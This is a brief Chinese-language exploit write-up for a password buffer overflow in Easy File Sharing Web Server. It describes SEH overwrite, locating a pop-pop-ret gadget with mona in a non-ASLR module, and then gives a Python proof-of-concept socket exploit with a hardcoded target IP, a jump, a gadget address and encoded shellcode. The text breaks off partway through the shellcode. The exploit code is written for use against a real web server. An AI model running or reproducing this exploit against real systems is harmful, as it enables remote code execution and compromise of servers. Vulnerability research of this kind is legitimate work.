1.软件简介
Easy File Sharing Web Server 是一种允许访客容易地经由浏览器上传/下载文件的文件分享系统.
2.漏洞成因
在对password进行字符串拷贝的时候,没有控制长度,导致缓冲区溢出.
3.利用过程
1.首先先向服务端发送消息,确定溢出点位置.使用winDbg跟踪发现,因为覆盖了SEH导致触发漏洞.
2.因此我们需要找到跳板指令”pop pop ret”,使用mona来查找.(尽量避免出现0x00 防止传送过程中被截断).
先找一下没有开启ASLR的模块.
这样就可以构造我们的Expolit代码了.
内存分布为:
4.PoC
代码使用python实现:
import socket, struct
host = "192.168.120.135"
port = 80
szFill = "A"*57 #61-4
szJmp = '\xeb\x08\x90\x90' #jmp 08
szAddress1 = "\x89\xa8\x01\x10" #0x1001a889 : pop ebp # retn
szFillNop = "\x90"*3
szShellCode = \
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9"\
"\x3A\x01\x8A\x04\x0E\x34\x18\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x18"\
<